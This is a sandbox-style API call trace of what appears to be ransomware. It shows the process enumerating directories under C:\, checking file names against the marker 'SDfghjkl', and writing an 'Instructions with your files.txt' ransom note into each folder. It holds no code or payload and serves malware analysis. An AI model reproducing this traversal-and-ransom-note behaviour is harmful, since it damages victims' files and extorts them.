[0112.002] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cfc8be0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfc8be0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f280
[0112.003] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK\\.") returned 19
[0112.003] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cfc8be0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfc8be0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0112.003] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK\\..") returned 20
[0112.003] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0112.003] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 33
[0112.004] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0112.004] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cfc8be0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cfc8be0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfc8be0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0112.004] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK\\Instructions with your files.txt") returned 50
[0112.004] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0112.004] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cfc8be0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cfc8be0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfc8be0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0112.004] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK\\Instructions with your files.txt") returned 50
[0112.004] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\Instructions with your files.txt" (normalized: "c:\\boot\\zh-hk\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0112.005] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0112.006] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0112.006] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0112.006] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0112.006] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0112.007] CloseHandle (hObject=0x108) returned 1
[0112.007] FindClose (in: hFindFile=0x82f280 | out: hFindFile=0x82f280) returned 1
[0112.007] GetProcessHeap () returned 0x810000
[0112.007] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0112.007] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cfc8be0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfc8be0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
[0112.007] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW") returned 17
[0112.007] GetProcessHeap () returned 0x810000
[0112.007] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0112.007] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW\\*") returned 19
[0112.007] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cfc8be0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfc8be0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f280
[0112.007] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW\\.") returned 19
[0112.007] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cfc8be0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfc8be0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0112.007] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW\\..") returned 20
[0112.007] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0112.007] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 33
[0112.007] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0112.007] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cfc8be0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cfc8be0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfc8be0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0112.007] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW\\Instructions with your files.txt") returned 50
[0112.007] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0112.007] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cfc8be0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cfc8be0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfc8be0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0112.007] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW\\Instructions with your files.txt") returned 50
[0112.007] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\Instructions with your files.txt" (normalized: "c:\\boot\\zh-tw\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0112.012] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0112.013] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0112.013] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0112.013] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0112.013] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0112.013] CloseHandle (hObject=0x108) returned 1
[0112.013] FindClose (in: hFindFile=0x82f280 | out: hFindFile=0x82f280) returned 1
[0112.013] GetProcessHeap () returned 0x810000
[0112.013] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0112.013] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cfc8be0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfc8be0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0
[0112.014] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Instructions with your files.txt") returned 44
[0112.014] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Instructions with your files.txt" (normalized: "c:\\boot\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
[0112.014] WriteFile (in: hFile=0x104, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf644*=0x54, lpOverlapped=0x0) returned 1
[0112.015] WriteFile (in: hFile=0x104, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf644*=0x18, lpOverlapped=0x0) returned 1
[0112.015] WriteFile (in: hFile=0x104, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf644*=0xc, lpOverlapped=0x0) returned 1
[0112.015] WriteFile (in: hFile=0x104, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf644*=0x16, lpOverlapped=0x0) returned 1
[0112.015] WriteFile (in: hFile=0x104, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf644*=0x23, lpOverlapped=0x0) returned 1
[0112.015] CloseHandle (hObject=0x104) returned 1
[0112.015] FindClose (in: hFindFile=0x82f240 | out: hFindFile=0x82f240) returned 1
[0112.015] GetProcessHeap () returned 0x810000
[0112.015] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0112.015] FindNextFileW (in: hFindFile=0x82f200, lpFindFileData=0x22cf8f4 | out: lpFindFileData=0x22cf8f4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1
[0112.015] wnsprintfW (in: pszDest=0x833ba8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\bootmgr") returned 14
[0112.015] StrStrIW (lpFirst="bootmgr", lpSrch="SDfghjkl") returned 0x0
[0112.015] FindNextFileW (in: hFindFile=0x82f200, lpFindFileData=0x22cf8f4 | out: lpFindFileData=0x22cf8f4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1
[0112.015] wnsprintfW (in: pszDest=0x833ba8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\BOOTSECT.BAK") returned 19
[0112.015] StrStrIW (lpFirst="BOOTSECT.BAK", lpSrch="SDfghjkl") returned 0x0
[0112.015] FindNextFileW (in: hFindFile=0x82f200, lpFindFileData=0x22cf8f4 | out: lpFindFileData=0x22cf8f4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7cfeed40, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfeed40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1
[0112.015] wnsprintfW (in: pszDest=0x833ba8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Config.Msi") returned 17
[0112.015] GetProcessHeap () returned 0x810000
[0112.015] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0112.015] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Config.Msi\\*") returned 19
[0112.016] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Config.Msi\\*", lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7cfeed40, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfeed40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f240
[0112.016] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Config.Msi\\.") returned 19
[0112.016] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0112.016] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7cfeed40, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfeed40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0112.016] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Config.Msi\\..") returned 20
[0112.016] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0112.016] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cfeed40, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cfeed40, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfeed40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0112.016] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Config.Msi\\Instructions with your files.txt") returned 50
[0112.016] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0112.016] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cfeed40, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cfeed40, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfeed40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0112.016] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Config.Msi\\Instructions with your files.txt") returned 50
[0112.016] CreateFileW (lpFileName="\\\\?\\C:\\Config.Msi\\Instructions with your files.txt" (normalized: "c:\\config.msi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
[0112.048] WriteFile (in: hFile=0x104, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf644*=0x54, lpOverlapped=0x0) returned 1
[0112.049] WriteFile (in: hFile=0x104, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf644*=0x18, lpOverlapped=0x0) returned 1
[0112.049] WriteFile (in: hFile=0x104, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf644*=0xc, lpOverlapped=0x0) returned 1
[0112.049] WriteFile (in: hFile=0x104, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf644*=0x16, lpOverlapped=0x0) returned 1
[0112.049] WriteFile (in: hFile=0x104, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf644*=0x23, lpOverlapped=0x0) returned 1
[0112.049] CloseHandle (hObject=0x104) returned 1
[0112.050] FindClose (in: hFindFile=0x82f240 | out: hFindFile=0x82f240) returned 1
[0112.050] GetProcessHeap () returned 0x810000
[0112.050] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0112.050] FindNextFileW (in: hFindFile=0x82f200, lpFindFileData=0x22cf8f4 | out: lpFindFileData=0x22cf8f4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1
[0112.050] wnsprintfW (in: pszDest=0x833ba8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Documents and Settings") returned 29
[0112.050] GetProcessHeap () returned 0x810000
[0112.050] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0112.050] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Documents and Settings\\*") returned 31
[0112.050] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Documents and Settings\\*", lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cfeed40, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cfeed40, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfeed40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="Ȭ癙㮨\x83翿")) returned 0xffffffff
[0112.050] GetProcessHeap () returned 0x810000
[0112.050] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0112.050] FindNextFileW (in: hFindFile=0x82f200, lpFindFileData=0x22cf8f4 | out: lpFindFileData=0x22cf8f4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x9b8f7360, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1
[0112.050] wnsprintfW (in: pszDest=0x833ba8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\hiberfil.sys") returned 19
[0112.050] StrStrIW (lpFirst="hiberfil.sys", lpSrch="SDfghjkl") returned 0x0
[0112.050] FindNextFileW (in: hFindFile=0x82f200, lpFindFileData=0x22cf8f4 | out: lpFindFileData=0x22cf8f4*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1
[0112.050] wnsprintfW (in: pszDest=0x833ba8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache") returned 15
[0112.051] GetProcessHeap () returned 0x810000
[0112.051] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0112.051] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\*") returned 17
